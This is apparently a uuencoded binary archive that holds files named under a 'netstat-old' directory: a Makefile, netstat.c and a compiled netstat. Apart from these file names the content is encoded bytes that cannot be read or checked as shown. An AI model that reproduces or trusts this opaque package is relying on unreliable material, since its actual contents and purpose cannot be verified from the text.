M!I_45EWH[8:IX7)\Q%:H\E>NYFMVQ-4EKP]9C>#()9Z_1N\0Y')11/AX#'T$ MXQ&9^L4REUZ_3^S4_^I[C5!\(0B^Y(O[0A91T4C)A#;?FJTWZ9X0:4/)JRJ) MZ#F*YDUU-XIG*&,,(UA445K>);'AXF=3:/`H+J`'*G1LC^)ZS%=0T<?=:!9! M35\1"'H=RKW4@H%^(3BK6BS`V]2*:UX+9$P_7T^\/AG&0,'C$18G2U+?1T9E M$_'IIQ"^-BI?L"!,V3/701*FK[YOD)'$XUTRBWHMQ#!M5;&BNT67HO!#%H?@ MC!P)8A2]O10>R:*_C4205="E*CHK-O"]PO]9Y%R9]X\S,F[E=N*&]TT;HYFS M]88-WS-ES`(75"]^GD[#\V`/NV6A/K5!MK\R,,JA$9A.4:*J9<"S..6?KE(^ M&(2^A[T%`)0:TNXE(=`;,DN/Q\@80/Q\%<=Q:D392C'C"<;C#+!ZWJL%.<J" M0Y1Q'(['5XC56#X$24^#;O0_H"-]HW#>M4:6H:I-K7F>)ZZ5@@K-5_6&B:ZC MX$P.YF=A"%D&-U^NK[%%C3.H;(&QK73)I$1!,W\^PL^Y^$$#&<%:_R'.(M@K M,VGNNA+Q58JQAZ"*XNOH=C+Y]7YR\PNMN)V359JM5D$5GB>7Z4[:+5N=V\GO MI%-)EI<!;HTHN8R2J`H/THKZ-J]M4FDL\)EI_3:B+B87DHOH.E<:DDN8;S53 M(&H-+TS6&)J+Z$U-FPN:P\62%0^X`P^U<`;$'35'_`^6:@N'ZPX=P8UGMF!I MQ[FRG)'EO)L=6G^27+.C#%$-BE6M&"8Y]7S/>BZ6Z[KLFJ`=.4.E[Y'-0@?J MC:AO:M@PN>9*(0C0-<UDL6!`NCC$,8-X#!5+#'_%=ODX:`N'HGX2IU`TO-PG M%[S\MYC0`9-_&Y0]!>+94#_>*U9X&>RAR-L3P0HEIX76K9`Y/DY*%`=FK*\& MI;)]NX;1V3`4-9)+W()I6JNK,M\&/7MB]?!D^E:6;+_2/@+2@;H"M/!NC=2! M*_$/7:'V"4^=\8;65-<!)@/&,.Q^[]K?=1ZOML;3SH5Z*TFX+)ENI(`8=P2> MP#YN7-J-*Q;1`&UO*$2G?G?QZ./2X7T%M=KSGD=0M)<`,)<`<S\09J!8$0^Q M5ZL%SM_XQ#0VKG$4_\=!3&;<]+$1=L6D"(UOSZ)JB:<EJB"4`FELJ@*'1`@? M,IC\-NT`6(7!H#7<7C5Z<8+#MK5+C!,GECFR6B%W9A&;Z$%F4N;('N)Q9Z6; MCA@M;EP#J85BD]A!>3,UIL.M>NVRXY+3#42RC#35-;.E;',6(QN[HKVJ4<F/ M>_`++7UL6^UD@YK++!=XLY1LL\H+ML9["\SSXJ'96+U7_T]02P,$%`````@` MHF12'1X)?UV7````W@```!0```!N971S=&%T+6]L9"]-86ME9FEL946.30N" M0!"&S_O^BCEXT,`-.BYUV,PB6%`THINH&`C;"NG_IS&WO`SS?CS#R/219\6M MTL94=UU<]=&DI0*2L]&7DNA`<;:#.2V2U0CD139'K%PWC5,]`;6U2@3A-XF` MWK$]6SP@A)<,_PC:-KT#6MO53@G!G?>+XB=MY$#K&5]6PB]R^'MR6-V6\2!, MDHC1Y>^(XI:"/3Y02P,$%`````@`Z692';#5L++I$P``!$0``!,```!N971S M=&%T+6]L9"]N971S=&%T[5H-=!15EGY).M")@68P(.M$J9$.)D+^,"JP_)H$ MB6#L=">`AI\TW1TJ,7]T5Q%9!8-%K?:6[4:/[7IFEW%<Q'4].LO9A9DXD1A^ M#J`[[@##S."J@(I,M6$D*)!$8GKO?:^ZNRH)(NIQS\[FG7Y=[]YZ][Y;K]Z] MWZUZ=4V<FY!<0L@80KI^'T>&RW`9+O]_BOJ/4PAIS8)6&Y+O-&]=?DU2I5)H M-6_-AX;E5XFS(#K8U">F$B+M,ZG[X*@^-!E93R60RHK6."K5V=W""H$Z+V-2 M9KU'\`E.(=O%Y6;?/HW+R+TM9]H=.3-NS21>DN/VK,MI%-:O)1Q)!H%R_R?\ MXVC+2#.IA$&VDC_%D:W;WR&$]P*;%_#<7AAM:V4>6F&6.RR;_P&8,)8R"GFE M-1OYDV"GNB$!-:3('<+?,)4[1E*5RCC4Z8\_D&B"(W;E-Z)J*O3<*%"-_)KD M&KPN(+7^=YKX9NA60U0ATL?V`IZ1.LPV]60*J:240JC)TCYKJ#8<#E/>`3J] M='K\9U;LO86DN[,C/])B*'#]2Y<X%-&<%Y8VI!!Q8I4RC@?!*O_XT'&05RI, MCB6J-P6OQ-R9UJ+<,!7,WC^"R.\)HY6BE!D)POM*A5E^3[S0/(=8Y%=`1IH] M!J.Z.+8FOL84*$JQJ6_#U/@/X.2$A1N4N4N7J)RF,<]H3HOEET46&_R-QK]1 M^)=BXVO`H"7JAFM09$)-BEHQ`M3MQ:DM3_%?JXQ#D_P.<VZ'O[OO=9B$\.>_ M\!_L/B1WB(ET$FQJY@AZ*_P%IB4V]450Y*?7$?"<KUBY"N<HQR.X<GP>[[IJ ME\='TGWI[IST6WWIOF0BN!J)Z&XD=<[:V@87Y_%Z&[S)Q.ML(MK\;3I3F$(( MS");,4_$PVU]*@Z&D`]^$0[3)2-.8.S/P8Q6-#"T)XXNH9:`3'K"8;^\#[H& MY$/=V.[`]I:3T(8U1I78U&,$%;Y!%9I@#<H^4*"=Y,,CL;V/=NR&CJ`(VPK5 M9`O(O\&#@_]I?*R;+3FFSRKUQ&]\5MF)O=]\"3J];H(+Z7N9?/&2.-=_(K<C M.JEO=Q^1CXB)O\9)M:M'3:!C#]X&.H(_56X$?Y"/6#8OP$M\`;U$T_J*4>N, MK]&Z<9#6UG=0JUC6N;HEHN\-@SZ+_/M^Z'EYG;<,TFD;$0\ZA3$.NQI,HDLQ M]!3H:.%_@?=I=2)=+J&-R#*4R/W("(=7Y74$MFT'2EM"X%OIO@'N%?&O%6;- M*2SRV_`/[C*^%=TL=)B%DIA^,67@+<B19FW!B27"6"65MNS\$3C=F03]'?QO MH<G_'&/)<AK"4E#%@/F>"BIP%HE@`178TE2,T,NGQ>2-\RMF@CS.&,JGT99C M"/GW(=ZU_MS@5HL\WGI/+>=M$(7J^C6<X%Q=ZTDFA1X?D$ZANJ&>@V"=XW2[ MO1Z?C^.XNYR"I\FYGHMQ(F5!K7.-C[-[J@KJ!:3+?1ZNN,KI`G4YC=X&5PXJ MPG$\<!>X]-IEK,+/#;]DXO94.<5:@923N\A"4D+LI)#<0]*SIMT&O;5__+O= MS:HO.>;?K2;JWWD7^8\3X3H+(9KQO=B:B2WJ]0M'()Y]%5ZUM>\T1N,QX/23 M&/>K^(C3.^/)P/4!SIL`$[:%](7##G4F*(`[<$!>>"D<-D,D;U'&H3Z[>JP/ MSX#GBQLT%A5TJ".9"*".&^+?B<O%OS@&14%4[(^'WB\Y;-(>DY\R%JA/T?@( MBS0%%ZG@9[>7/SHRJ5+]@`Z=$EH+BJ/V9`"S!`VZ:'GB\3B\@DI0%,C?2:W& MN+;X$HT]-G8H8X=E[+"<';KPP"^#25+&VZ7]?>JOJ=]Q4L\(BSP9`UP0>]H# M\G;LJ=[;&P[OE]^"-B*QM`M/$G&",JX.5/B#V$D9MY:V=V`[N(Q)-U+I'U%I M/\KLERLU)1>I97'":%X<@=/)4PLT=CRPFRB[5,\V"4G\>F!WCFQIX1^BY_/T MY\T@MH&RK]>SQP#[$<I.T+,Y8&^B[#,FRM;F10GB#-J5(,Z@W:%=A385O(0K M"](F$$C;U(^3;@D\#M$*8]*L2]&8%',-A+%T]TSTBIGIRZ('_,W4_B,^XZ*K M'[PH:PYZC].[QD>*'&7S[UQ<[%A85$@<]Y6L<A25E-&&O:A@"5E07+)JZ?SB MLKQH:QHI*[ZGB#9)P>)['47LGS$6SW>4K9I?L(B`PK*B$C)W+I>126:2AJHJ MR-:R<W-STMV98`=9*WI$#P:.C/1IV=.J(FP(&T:&Y\%&HZ!8_T!]%MAN[`9S M`)$CZN)9TZ;Y(O_:CSH]RT[OFQ?U_]21$?^GONY*@KG_M][P*O]N_RCF[F;Y M+3&5G1@-R,#<O1G$2@W^?7^OYM]]/0/\NZ<'U,GPS_!=;'H!^3;-R6_"P73P M!CJZ#\.0B:^C>Y>J=W^%QE`'1\W^9/DM89NCE#HX,A:HV^,-#OZXWL&A!W7P M1LP?Z;!J,;+V]VL.OA,66R#8@:$CF-*+B4HSMF4SMH-X:?Z@"=J[3\?[=W;! M>)OVIV!J*F,[$:_3+Y->"J7[Y7F]U`&OQ4,@B!1X*%*V0#"541,8E<8HCE%6 M1F4P:BJC<AF5SZCIC)J%%+\V";,='%8A-@@N$FWWJ4OB6/(X2YJ=2M/4D9I- MD;D9[X!HQ/\L*1K_NG%ZQDB7DBU//@]17]J%-L0)R0=DM`G7BA)`5K'4FV1Y M[+^!#EL#IU)HK$\=18@5:C[40JAE4-U0(:<GFZ$^`_7%43%8:'L5Q@T'\)I# M07PR:@4ZI$2SA+;=0'=NC.)'V]M(U\?HHTBOC-''D2Z)T2K2<V+T9TAGQ^A> MI&^,T?')0(^.T4G).*UTIA6Z&.QJ*^1`"KL52M!,6=MH8CE&FLW1*1XE[<(; M1BR;5^*J>XDFHGC3;.I[%W$EX<*WT26IT)5D5_\>W$C9A0/$EGWW87_@#/14 M=F$?/1?EE2">"Y0EP[)-E;X<M^XG0_?SJYD']S?_`0&`M^#5:)=1AR/*)OV5 MW0\LS=JIU-JLRUC[83]::_Z6UEJO:.VS.FO9#+_9K[.6L5[M9PN5K6O+YN8X M7*SH1;`LO\!E*B,1MLJ;+9'UM`-:1[6:.B96W;JZPQ);GY9VYJL*\U7^1V!2 M:$<LB;6T!_&\79%3:3?JRWE'[+834ZT0?SY(?`X$CO=*9\P?I%GYFY(-BW&P M_BO(STC&P#0/`5)=21.A":&G#!DUN_[DC3</-/QN%)7GT<Q@$A4=TWG?5=JO ML!#%5^AT_9%F2VF=H]CX^RF;'$A<B.DSWH-Q^'+!3Y_Q7\"F-!UNU0A\'&3/ M\PM-4F^\L/21<5)OG)`;.F)\0)!Z$X2'I%Z39?/3Q#CSK+"7!](>LYTYJ<Z5 M!YVG'JM^=H%FEGX:K.'YL0^!J*M'>W(5RCN+]?+XFB+V%N(CEAK.H+XLW@*# M&<_OB9Q'[Q&3V2P@9.E?7;#N,`OR)4A@I-ETIL3I46R@\^K0%KDBI["[:&44 M!0=^+=P`]34:I[E-_2DT&WJZEV5#)WN&R(;P@1Z?ZJ^8#NAS`2Q#Y0-KQ\+H MSY\;G`_0$_T7(_G`EL2!^<#=YRZ7#ZA=AGS`(DLX:_J<8#3(YK[E/_'XP<ME M!?D7!F<%SQNR@I]^B>-'LX)']5G!Z2Z6%=2$]<_`6GZ0V:7/#_:8_H+R@]LQ MU]I[@/H_WONKR!3^XZR6*219GOSGA"$S!8TE7J<#^DY+;'[;'AD["%^7G1F$ MKT5G-'RULE"?#Z/QK^A@=?/9H8%J>L\/#:OC>P;!:@*P-&L9K/[ALZ&M_;ON M'QI6^>Y!L%K>;815OQY6^_2P>FK\H.?[U.L@]].JH*O[=!7[?&_X^N+8[X:O M!GD]OO9?^-;XNO?"-\=7_?A#X6O3A:'P]6K`HAFC<O,Y`UC(E[X&+/!=+]2K MQHK+X<7/)H`!#9V#\8*>^*^N"%[4#<*+ZSLOAQ>MGUX)+XY_>B6\,)V]$E[4 MG+\\7OSRTZ_!B]Z0'B^>_DO"BQ%??&N\D$(QO/#"3:+!7_=4:82!TM.#8&#. M:0T&)K#0E(4P\(8.!C:$A@ZL>9__T#!@^7P0#/2!#VK6,ACXK3JTM=*Y'QH& MG.<&P4#).2,,/*J'@0L&&$B+1<C4&R#V:U70U7VZBGV^M_A_:,)WB_\&>4/\ M/_OMX__9;Q[_]>,/&?_/?M?X_RI&V>9.0_S?^77Q7ZRO?I"4PQ]772]XO/7. M6L[54%<';!?=PX#0;_,V"`V1W0FV54%+V?I&CVX3@W,(3D'/L#D%/CGR7M:P M:[&,0@H=>NY<XKBW8-$J1YF]:/X]K%UXESW2M,]?JC4*-8ZCJ-0VOV!141DC MM79YR:*2>Y>6D`7VHB+MS6MQR5W`+KBWI*2HH*RHD&@M9,>8A<4.';^"</,+ M"CBR@K#]DBP*AWFYV,R[+?JO;9\P_+.9C?AW(^+?J>A>"6Z07L>XAT,1\+O5 M1)>9<7_D^E,:_FWO'HA_'\?V1RBFEFJP]R<X8=P80=C3[XV,4JFH$D2E=&_D M%6UO!!D+5/'/!M`+Z$%O]\<,],0(Z&F#J^:/*>#QK^%570M7Q?\GMI)";+<& M0-"&UQ6DN[_!#A@H$,`=7W_@#6R;=B(`!%IP=?J#K=U1V-O1C9L8*$64`(J5 M!N2#W6R7EQT.L<-1=CC&#N_C@4^:B!$.52AC[9*,:@'&D.Y3YYY!&,-HJ5UG MFD,)8`\EJ50'68<^TB`KT?+DQGA$JWW0)V,BQD(<DL!3/F5-PK&H30NE'HB0 M6^EK4=ETDS%%S@>Z$&H95#=4`>HS`^IFG4S[E(F&]YOM=TPTO-]LOW.B(>2U M+YIH>+_97C;1\'ZSW371\'ZSO8%>"DZIR?+8DS2L(P&F[T`SCL+?*:BF21"W MH5HG&:^GK<EH7]O?`GU1/M*-SX%WM3V,9_4)8MO31OO:MACM:_L7HWUM:%^5 M,FXG'OQ!7#(1[:G\KW#.Z0(J59^GZ9@YMT/9A0S]OF#S&XG'NW'C*95^B*($ ML8-=K6,2_"Z=EON`-_2[*^@9>7TE%+:P=U?2@Z9$\2?XYD=;F^J_,IW@4U=X M^2.V1U[\3%&H.]@=2S0CE"`N8KL2P&55RK\)YJF[/Z$HL&D7KE`6PD_WL1#^ M8G<TA)?[G&L\,Y.T[X&XBH9&&JY7)).D+"?GK*WE?`VN!^`LER&X&J>([L9, M/.6"\%XO5-<WB#ZNMAJWJM<@NY[S\0U-N&'=U.!]@*L7ZU9[O#[`!)_@<;JY MABJNWEGG\6'7!M95J*[S>#D<F[&]C/W`D)OB25D".XUVX4X5&%'O<6D`DY0E MQL[BBZO&!J]`^4TQ/CZD:/S(>L'OFYS6B/>./0&!Z*$HF8#DLU'R_'$@7XN2 MGQRG$,D?BW)^AQW.1LE]2(Y.CY`[D9P:)5_2Q`NCG&>`@[?%Z7+7@Y7BNJ8' M288KD\N;,>/6J=P"K\?-W>D4Z]8XO8*GGIOE=MU>O78>3*^8E^T1/*YL`,.L M!YS>6I]7Y#W9;L\<`C"#2#,?9FF=ARNFZ.P1C#,7@6;7NJQ2SN&I=\-A<8,+ M0'S^P(\,%C1X/=5KZ@>>R*"HG4DG%>:3?BZEK$A1_RD!]V#?I9&?[X'+="Q1 M,T[0`#\K;-E\&-:Z:;>EO4/JF=%T`@+(^<F$O)A!R&\F_^_74S>SHPGL2?V& M-EFA7[ZN;Z'6+H.C&ZH`M0OT/I,1BXGA1-P!"B=:Z3\^IH0.ZS^J`5Q#WJX( M+YR(Z!-Z+4;C9S.A+3$:T^]0($:G(;TA1N-XH;H8C2.'5D1HWC09XY@I%S^! MN1/:ZKH/\4N>T&WL@ZQP8@;VSXKT5]L@K+3V8T9R+?:09J=1=+P#SYWX``![ MKS3;S)X(NNB7/199Q<_VXM2=-%DQ=1[3XX,T.T,G?]$@OUV3?YG)BT/)J\J[ M*(/=\`F_A2_&:_CWD^!Z5=AZ^:26K-`7@V*2]F@H)&E;<<(U:N:'3(-8H/4" M7GI(X^5$!*Y1YY_5>#_6+!3&`C$:+'N/)5N=C[:T^(\%/#T5*]&MT3<<+_#X MF61/6/RKO`YI=BW];`G1:YXT2Z:4>`%U"OC*4S%MP=[A0XO$\\J*/JI#7U!? MFY"+'Q0*N9HB)4'::PH?DOZ:B.?Y0YEPQ25_A$>U(:2IO#0[G\Z#Y4`B-A!] MU&UP,VEO!TT`E>56\SO-<L>&,=W'MA9")YI_5H"RB@$*':U+KK*_2>NO++:F M*&76,51NPD"Y2!DL7Z&3I[)IEY-E\CFUU:MS:MW9O@8RDW,YZV\6N-H&P";W M>H"F:A>@63V`#W=SK-_-`"$(4/`H4UN[GG5P:_`AG9E>CA^OU5H7@Q$V:3;/ MUBD^CAXHM!9RI&LU;Y\"4_I1O_;>2:A0$@(/6R>TKP!VW^OX3NR+;57;X$1: M,R0*(UOFP4'\<DJ"3?FQHR9>?9<*IM3<$BBTIMF`<9`Q6NBWK^K]3&_G.>:[ M#^.WLY7P!W.YW`X:0(JSM6)R(O_Y$2V?5PJMR\.'H,=4._U3=U(E7.=D:MAC MU+!$:A@(3:E)C0Q]#QL:F.-;6FJ(^L%7;/#ST?E=N6J%M&_Z7NF,J0I4FZOH M%X;>:PEY]V%K?!4,'%^5WM%5Y8>&_U!5^EP+=HNO2CI$6>_66N-!'_@)F]0) MRL/6M+SW9MS0`T\,Z[AV?'!H65H.(FEV902L\7TITGY3`3O?=!I'W]L"-\X% MMRT[GQ0N7LS=+=8U<OG9MS763KN=:-^M#)?A\G^C_.[&SOZRJ^@_/5=/M1C6 M>WX6(7.R:+-R=#S$W2YS)<:%OAQ"%FMR&!YZYI)*;"?@'_"?@[K<H'>X#)?A M,ER&RW`9+L-EN`R7X3)<ALMP&2[?9\&WH_\#4$L#!!0````(`")B4AUX@>U! MT!```$)/```5````;F5T<W1A="UO;&0O;F5T<W1A="YC[1QK=]I&]C/^%1-Z M3`0!&\BCK5F<4HP33ASL&MRDZ_IP%&DP.@&)2L*/-O[O>^^\]0#;2;/M=LUQ M")JYK[ES7S,::;NR02K$IW$4VW%A-/4B,O%FE#B!']N>'Q';)]Y\,:-S"@VQ M%_@DF)!XBA#SN>V[@%XHQ%,[)E,Z6T3$\XE+/RS/SSW_G,$![<L@_(B7\\!= MSFBT!3C(]22RS^E.(0R6,26GM8LS<DK^L%WWDTMG-R2VPW,:$V]B.]!+SB\) M]L]I''H._#P31'ZF8012[11^L+XI,U);3J&^]:)9J#_?;GZ[_?U3`=A9QM,@ MW"GLA]0E/]K+^;D=QM2ODG^YS@OOMQ]@L,O&%HVIL[7TO=I'.YQ%X7)*MURZ MRP;9#1;7H7<^C8GEE$GC^^^?$I(B!G#;&]]XOC-;NI3\"X;N?MB:[AI-4>QZ M0:9IYF7`0E!8E&P$L0`VV39Q_'B6;`*N'OS;]OP4S>MH>V&']CS;'`7.1QHG MVV>>O[S:YAK-Z8B=15ZSGR)37-CQU+?G,.O3XL;&-RZ=@'!DOW_0&W3>]DAQ MVZ47VXOX^K<BV:X0+[3)C[U7_0%3I``>CH['P_Z_>Z31_$XW'G7'W=>=8U(D M1=78&^R)QE]]X`9:7#HQ(=-Q%),_-@@AHH4UX*?BTZNXA3V>SUOD9VH['\?Q M]8*R7F=JAYE>9^Z>2MG.6ALWK11'I,\`9S!OK9R^<3Q?`)(D#E?0%9HT95<% MVA$4]<:N)XLQDH8F*?C4<VE+ZA`4@1H4M"O"24B;%-%-A+MO.00=A5C24\K% MEM:O=^[;\3*$*93F7DV;^UU<!Z9!3\_XN-?9([6&T7+4.>Z06G-#C*VR"`/' M\R>!&'L%S(J>-NOU^ID8ZV1FGX_!ZF$P]99N@:"3:O&#-$RP2+>$]F6Z)5BF M6L#24RU+-]/B7_$6(37@C-'J3QMU%+U**H`C6KX3+<!;PYQIX_&7\P]Q@#W, M9I=^!%,!>I\%$$(A/(9HD9P-`N%5%E,8-MJDU/7@Y.!@,"!6#G"9U//85WPT M&8XGM!].F-U9Y8RW,O]B)MVV3#>KE.?V;!8X5N3]3H.)V5<N,^=2/M(6'H'N M."&6L/'V)%B`K5DR9E1),2R6R]RAX7,YQ81E32!;1);PH2K$BA=5(B@8P%+& MVBXJZ+Z2\@_Z8ELP2C?#5QQ\9$I>5%60,K$%>Q5?VG8<>`P^PT,2>_QK_7%5 M!;<4F+.X)I9)%,)2E:3I\8DQAB[[;C;DEZD7G',&$5*(`3YI@"EE8LM%X+GD MMR4-K\?3((HM;I/3:L9DN?JE.@$4:@E2H<R'K71S&=THUZ07"6OD-O)(4I>Z ML(!_L5)D8[\A=!91T<VP?9^/NS*%"U0KOQ0F!""/)`=M,LAFX==VT?5(NRW& M4]#LL!,E!)Z%#R&U/R9T*UDS**5XWH6D410N2Y+E(QG$RH1K"NP;E?3A&@6Q MA+;+I&3#=#^KDL[^N#_HC=2D(PU`3,D*+6`F8R&N$%.JJ1`MH.R()TR'F^Z6 M_"M6B>4A*<MV28G4KR:3LFK"MMU=\EU9]6P4"LF^QHOR*K3F,]55SE5;;KC* M]5,-H4GI>8-I,QMQ)@Q[(&H2H5%2C\,9]:UI^4E#T1.*E,!5,E5=/I]D/;TW M&S<B9E+;'4<TO/`<&EGH-7RFV0Q^6$XF-(0,]^P[2`HL'SQMPB_(@W'@!+/3 MQ@NX<I?S^34DBN:S,V2`5'&XE,4?GCB1`7,+_`&BL*AI07X=O1X/>\<_][N] M(0^=+>D[""F-;D'#,`A3\&)P(@CP],T<"_D(IWDT87.`I"0M'HKYR*H$AO9M ME4DER"'O*')L?Z)@BIO1IKN]^33:C*!RXWJHDA(?HU:&4$29[+;)TY2[X-3, M%Y8&+4(2YGFBH-(Q)WB6F61F-6R>"T@L#<^(J-E/]W)Q$?<FXU$K1(-J0(@& M"=Z]NW!\K&D,04@)F.[7`IJBL5GG_E[D#`FS`9@``0H#,J!7#`7*,,!59 MU-QI,)QH&D<14P-*0Y@#2@_IED&Q8?&Q)<(-]UBP76<61-12YBIL'W+2C2SN MP+K'$0J`H8S@VDG:*>]GRI$Y#];,3L+37Z`+"P_4(5ZD,"&Z=@N,O9I#TA\Y M5$L(SKQ*06).J9=-:$B*VO&-630=1<Z(LG!-\$R[6U;*"*3,Q1'1T,S#=Q[E MC3&PM,3*?Z3$RN3O(7$NSM>26+E)QNKO(7$NSI\A<<JB9.+"Q?\85V,KLA9+ M2%6^1\,3%2PMQYAPT<RKY-P&?'V)YAXAG,QAMO\[8F,S#([B9@9,2P2A_W>* MR:7-:\%D/0DL.&7F1M+9W]#0IS,F,MMYLC_,*'=Z#;-'(^CDNUBX0X*2T2@" M/;P"<I?V-=$M\K./PI%C.NGR=?8)*+F/X]7$^8(UE7*/C@^[4(Z-CP]/1KU4 MWI4HN;DW@;@Z`:>S+$S%TZH2AN$E$K3F62JM1P6ID*<R5(LMP=F$8#B7A6<R MK'-:&-C+LH8VC)E'<4WGR1.P!H%BUJMR)6^NUR9B]J+8!35)3T@AY\;PA#(8 MWUK-T`MKV6W7)3,P1AB>*$RTK+7:&6-*-F?O^3_X<^$/"Q6649CY8[6"AEE" MRX3_I%67I%F7P*Z-`HAQ:Y,7>JC&2DIZ$?,G76%*WVH^/VOKQ0NG!YTLYH/: MA;HUD:)+)_9R%A<5*8.7\E'N5`I$^VZ:'7?C>E8&/F:HYX]'^^.3(RZ)'5M" M%<638GDE^*O.J/>N\TL&Y]4:G->'PY%I*BG4UQHU%1TSH(-BRI1RN!WW^H/A M",3,R'B\1L:]7P:=M_UN!F=O#<[;P[W^?K^WET%ZJY%D3-NL-9^#;8IO_'KA M\G^BDE968$QT7L1E5IR?%NHJ(V"2OST?0%RP9T;<#^G<N&*;8U@8T:J<CMB; MTW`,1KFDL)AE5Q$'G@<A/7W>:"93!F>P",*8$^>_V+8'\SY.+USZ:Q-)>/4; M@.(7H\=5`^3X#Z0QGN$-`M`"J[)N#_:C[M'GA'I`^PJ!/G\UEH.N0E\JE.M@ M]8]+`;=G`V9X];/$-I%IIHF.]:G#W<&\L;/Y7OV'?SOB6V851WCL1J%`2F#* M)<,H2Z;!EY2)EI3M,R1A_"5FTB5FW27#$TK:HDMHTAPIZ7HX:B-)/9+;YF6I M#R/F)V<K9XY(;1<SI1V>XW094]\`M8#*4MD0UO2-1G)1ST:$Q@0>,NY!\/WQ MH#]\C8%1&P>,MEUO%0K;%?*:AA384;"VY<)S23SUSJ.MK2WR;GI-O,A_'!,O MAKD/`_(2MS"3`3^Z]&)G*IAJ#HX-B2/%?X=O*7#QVJ1H=,$BJP"J1]M*;@8J M.L-?!N-A;S!*$Y'MQ;68Q[WNSWF8V+X:<[\_&+_K]$>--*KJN!VWN0JWN1IW MU'_;8S!I7-6Q&K=[<#CLI?%8XRTXN0QUSVKL@\YP-.YTWZ1Q9?L:S/YPU!MD M\%AK!DM48VGHER^)5<X`2^LT*C:=7HW,E5?:R;RKLEHVTN+-K4^?5!(MF[O` MB;6GWO0P8Y'8.A#;9C(3:`'+Y$DJK93);K,A=GB,.J'9J"7A=.0MW/`-;#LY M\N(.V]')Z5&)X;:1Z-(A?QQ2?^M'H:J;NXU!3TIR!+I=RZ^FB85@O@<IHI0* M[&JWC!EC?4<%1M7V_8ZQH28TPFLLD"&8`(_Z5KV^O0D%W:93Y/5.-9'LY-89 M(<(V]4::X(&!15TTUS%D%'&);FTVMYH3S=9R@R4LVLLR39%M*%;J0AS,522= M@V\7ZZDIUC/SXOE:I?CWD^[N4DG?U\S9?IN<3+(+5(W]SQS9Z-7B/A.6E"*[ M69K#8>E_]&N0N-,J,&J)%=J`62K<2YC4CJPAFU@$U!,^!!UXS`'R?>;V<P$* M\E#<"&WK4Q?F7<U6]BZHWCD7;I6^.ZOG(F'F1-8G(?RI>W%X[&;LQX%MZ;!< M):E[L^6R(B%&T]#Z2:A'^-+=.,H(_Z7\GB;YZ6#?YC>JOXSZLR1U&8"_D#;: M#S,.5K,B).YA)6]7)VYW8-8C>J5<:S8C^2W^V-HYM4#DX9E'(AVM]6J62`\2 M530(E313+@H*DKMFR:RV<8/ZBU?;2.2?N=H^V?NLU3:@_;6K[8<5]?_GBAI! MT#<._L(%=OVK+K#_Q/6U"EMW75_K554"];^]H`+F]UY$\;N9__N+J-QQ/"RB M'A91#XNHO]$BJB"K8#S&_/E5L)!%>YPN--.%L!EX5Q:[>+;ABXM=)/+/+':/ M.^\^ZQ1!Y]U#L?M0[/[?%[LJ,(B:4`2'+RQMOU(-"<+>NX;DY\O^]VO(W'$\ MU)`/->1##?EWK"'Q`;H_L8;4]=MGU9!+W[NZ0Q&)SZ2>ONV\QTKIH#>`EB@: M\U-M[-F+"ER*<[OX4PB$/^4#H:I<-`I#Z%I?$XK35H(RXW?'C<Y!__UG[70" MWD/U]S6K/^D&)V!X:!0T].T9>S0>3-%A)XVC]"GD(YQ_>:*8'R]FGQ$8$#$^ M0U:NZ,\16*VDM:+J9(:=JCKO4EPFSK:^3U>2Z@2KL-R2/-K*35X6CLB\_-6* M.>.@+,^\EO&8!7YDUBU(Y\5*#P/"FO,7)NC+E\6D-2A&\CZ@P6=XV'TS'H[` MF=YR,@C#CN+HCOS3(@Q@[]5Q+B)K7X,'J[D<+&A=A[.7QPE:U^`,>S\==;IO M>J.\P<F^-?@KD5=@)F9$(IP,W@P.WPU6S4K>-O)P.-X_[O4X'7U."9I6"#N$ M&-D]'`QZW1';==ZN0%*JD!/?"7R?.C'$;OYNA(C,[6OR@1*\JTQ]*)L8(-YS MCH(YA=6"?[Z%3=NZ6,3CO,/#<:?;[1V-@(LL'*/T":'^X!7*9V9=$\@0L<BS M;^Y(!!`02XU?=ZS4@JF#'%3..!=SKS]<R3C1MW[2C<&NF'6>`V2BABAR6LS$ M_ER-B[+>P"0`0/)/?*M"0.0E>5VN-<XP,3TFC]6I;).BII;M/,-.F8]6G5\0 MW5]PB.&V(PRBVA95EW&8``-WWK$!DOPD[\#K^E&JCS\5JHBON`_/`?3I=79L MG96.C3K^;#Q7W[QTU+68S$-*M4(4$3.J1-=J1BY"P?)NPV^L+B79@^U+?#N- M44=FLAA_?<VOL7B;!CF%M2'F^S.9I#,8O\8UFT#9HV(*/FCW!.\8K4-QV,MX M/#]81BSZ0*19!^Z3:!I<RM?NB,>$\;T\$+=L%]_>PU['LHY$P$FP"IR7MVO! M0P[^<<T36'EH,4=#?>!Y#!%QS8HI#VNIL7#_&G<-UL)?:GA<JQCP8LTPMSV? M/92.U8@CG^&$WQ>GXGD\[*/A>4LN)ASNS>I5&*U5YB6J-,OA3^^#?5B<!U(' M\6S']4&>Y<7E59'7O;W#?>YW(LDY,L$QYWUL/Y:["O+PYI,G+;,%5))J@4'K M%B/^<H).DB"XUQI@-PD,M=T:8#\)[`?K*`=)8%#4&N`P"0SVM@8X7J.Q#/`R M"9Q09@;X0@&K8`:&)8*6>.%.5;]&1T4C'6E6$+Y,C6_M!%ZE1/:OU@"_5,`\ MN*5EXF_C::G`N&'N209+M>[#'-5J$5U\@7>`B1N/BR8R\R/URIY/GQ"T3!)U M0#2C=&')=RS<F,M5X75I66"4M\FB=P*^FBB6&'7B[0[<C6%!9J)M9.64-M.! MB'=!29\M'6F<%P6S*T?GHO83&5+?A?\.<#^%=-+/K>X'(0732W=8;%%9UJ39 M0!ZIMQJ52N21WH(&'4FO2>M7/0B64"_3:%)AYJM.S`,2B<ER/Y>8V"E/6*&\ MCW@?8FOMPK0*HU9@9&XV_@-02P,$%`````@`W&92'6?_?4_M&0``YD```!4` M``!N971S=&%T+6]L9"]N971S=&%T+F_<6@ETE$6V_A,Z6].A0Q(@*$LCB21( M-L0%'DLB22""H=,=%F58VJ2A`Z$3>B&X@(&F1WK:YK5*J_,&11WPX3(\9AYX MT$@F(,/B>T^!@XJ*!%3@CP'$!9(,>>;=6_?V1H*XS/&=,SFI_ZM[J^I6U:VZ M]];_5\=$2-+#&9(T0I*D/$BO14KB3YLH2;'(2Q^:83;:K#:#+:M<DY-U^TA- M>LYMV2/OR!Y]:X9DD;(KC,NR:VP/+)4TDE+R>J>[3IO60COY[<[.3L=>Q1]1 MF'B8!N%#@V7_#F6"Y]@;ZVQ4KWD:LEZOUQV/O-)%*TV(\BHA0>5LM#U((FM( MI+L/%KLB]T=)_&<:C@_1:*I?]"+E(DDKCP.2Z]^E,.$D%TERNK^.]@4QB,98 